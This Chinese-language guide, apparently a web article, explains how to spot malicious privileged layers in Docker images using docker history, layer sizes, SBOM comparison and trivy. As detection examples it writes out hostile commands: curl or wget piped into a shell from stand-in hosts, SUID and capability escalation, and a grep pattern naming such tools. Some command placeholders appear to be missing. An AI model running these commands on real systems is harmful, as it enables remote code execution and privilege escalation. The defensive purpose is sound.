关键在于结合指令内容、层大小、上下文来源三者交叉判断恶意特权指令，重点扫描docker history中created by字段的高危模式（如远程管道执行、非必要提权、隐藏shell调用、异常路径写入）及size列的“轻量指令重负载”异常，并通过dockerfile基线、sbom比对、层内验证和自动化脚本快速定位风险层。
关键不是看“有没有特权命令”，而是确认“哪一层、用什么方式、在什么上下文中执行了它”。恶意特权指令往往伪装成常规操作，需结合指令内容、层大小、上下文来源三者交叉判断。
盯住CREATED BY字段里的高危模式
执行docker history --no-trunc
-
带管道的远程执行：如
/bin/sh -c 'curl -s http://x.com/a.sh | sh'或wget -qO- https://y.io/b.sh | bash -
非必要提权操作：如
RUN chmod u+s /usr/bin/python3、chown root:root /app/exploit、setcap 'cap_net_raw+ep' /usr/bin/ping -
隐藏式shell调用：含
sh -c、bash -i、exec -a、eval $(...)等动态解析结构，尤其配合 base64、反斜杠换行或变量拼接 -
异常路径写入：向
/tmp/、/dev/shm/、/proc/self/fd/等运行时可写目录直接 echo 或写入二进制
结合SIZE列识别“轻量指令重负载”异常
特权行为常伴随极小指令与极大变更不匹配：
- 某层显示
RUN apt-get install -y curl，但 SIZE 达 85MB → 实际可能偷偷下载并解压了恶意二进制 - 某层仅几 KB，CREATED BY 却含
sh -c 'wget ... | tar -x'→ 极大概率是隐蔽加载后门 - 某层 SIZE 突增 200MB+，但 CREATED BY 是
COPY . /app→ 需检查是否混入调试工具、密钥文件或未清理构建缓存
验证该层是否具备真实执行上下文
光看指令不够，要确认它是否真的被执行、且能生效：
- 查 Dockerfile 基线：该层指令是否在原始 Dockerfile 中有对应？若无记录（COMMENT为空或为“
”），即属可疑注入 - 比对 SBOM：用 syft
输出组件清单，若发现 /usr/local/bin/maltool出现在某层，但该层 CREATED BY 只写RUN pip install flask，明显不符 - 进入该层验证：用 docker run --rm -it
@ （先从 docker image inspect 获取 digest），执行sh ls -l /usr/bin/或find / -perm -4000 2>/dev/null查找 SUID 文件
自动化过滤与快速定位
避免人工逐行排查，可用脚本一键标记风险层：
- docker history --format "{{.ID}} {{.CreatedBy}}" --no-trunc
| grep -E "(curl|wget|sh -c|chmod.*[4567][0-9]{2}|/tmp/|/dev/shm/)" -
docker history --format "{{.ID}} {{.Size}} {{.CreatedBy}}" --no-trunc
| awk '$2 > 50*1024*1024 && /sh -c/ {print}' （筛选大于50MB且含sh -c的层） - 配合 trivy image --scanners config
直接报告 Privileged container detected或SUID binary found并关联 layer ID
